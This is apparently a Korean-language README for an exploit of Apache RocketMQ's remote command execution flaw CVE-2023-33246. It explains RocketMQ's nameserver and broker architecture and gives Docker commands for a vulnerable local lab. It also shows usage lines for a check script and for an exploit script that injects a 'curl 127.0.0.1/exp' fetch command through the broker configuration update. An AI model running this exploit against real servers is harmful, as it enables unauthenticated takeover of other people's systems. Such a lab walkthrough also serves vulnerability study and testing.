
Apache RocketMQ RCE(CVE-2023-33246)용 익스플로잇으로, 환경 설정 및 사용 예제와 함께 업데이트 구성 기능을 통해 임의 명령을 실행합니다.
Apache RocketMQ는 가장 인기 있고 널리 사용되는 분산 메시징 및 스트리밍 플랫폼 중 하나입니다. 최근 Apache RocketMQ 버전 5.1.0 이하에서 명령 실행 취약점이 보고되었습니다. 원격의 인증되지 않은 사용자는 업데이트 구성 기능을 이용하여 RocketMQ 사용자 프로세스와 동일한 액세스 수준으로 명령을 실행할 수 있습니다.
RocketMQ의 네임서버는 전체 메시징 인프라에 대한 레지스트리 또는 메타데이터 저장소 역할을 합니다.
토픽, 큐, 메시지를 처리하는 브로커에 대한 정보를 유지합니다.
클라이언트(생산자 및 소비자)는 네임서버를 사용하여 메시지를 발행하거나 소비하기 위해 통신해야 하는 브로커를 찾습니다.
네임서버는 RocketMQ 클러스터 내에서 동적 라우팅, 로드 밸런싱 및 장애 조치를 담당합니다.
일반적으로 기본 포트 9876에서 클라이언트 및 브로커의 수신 요청을 수신합니다.
브로커는 RocketMQ 시스템의 핵심 작업자로서 메시지를 저장하고 관리합니다.
각 브로커는 하나 이상의 토픽을 관리하며, 이는 메시지 통신을 위한 논리적 채널입니다.
생산자는 특정 토픽에 메시지를 발행하고, 소비자는 메시지를 수신하기 위해 토픽을 구독합니다.
브로커는 메시지 저장, 복제 및 구독 및 메시지 소비 패턴에 따라 소비자에게 전달을 처리합니다.
각 토픽-파티션에 대한 메시지 큐를 유지하여 효율적인 메시지 처리 및 전달을 보장합니다.
브로커는 네임서버와 통신하여 자신을 등록하고, 메타데이터를 업데이트하며, 클러스터의 라우팅 및 로드 밸런싱 메커니즘에 참여합니다.
Docker를 통해 로컬 RocketMQ 환경 설정
docker pull apache/rocketmq:4.9.4
### 네임서버 시작
docker run -d --name rmqnamesrv -p 9876:9876 apache/rocketmq:4.9.4 sh mqnamesrv
### 브로커 시작
docker run -d --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -p 10909:10909 -p 10911:10911 -p 10912:10912 apache/rocketmq:4.9.4 sh mqbroker -c /home/rocketmq/rocketmq-4.9.4/conf/broker.conf
python3 check.py --ip 127.0.0.1 --port 9876

PCAP

RequestCode와 관련된 코드 '25'를 가진 요청이 수신되면 UpdateBrokerConfig() 함수가 트리거됩니다.
python3 CVE-2023-33246_RocketMQ_RCE_EXPLOIT.py 127.0.0.1 10911 curl 127.0.0.1/exp

PCAP

우리는 broker.conf 파일에서 발견된 "rocketmqHome" 서버 구성을 활용합니다. 이 구성은 RocketMQ 사용자 프로세스 내에서 환경 변수 ROCKETMQ_HOME의 값을 설정합니다. 이 값을 신중하게 조작하여 원하는 명령을 실행할 수 있습니다.

이것이 이 취약점이 작동하는 방식입니다..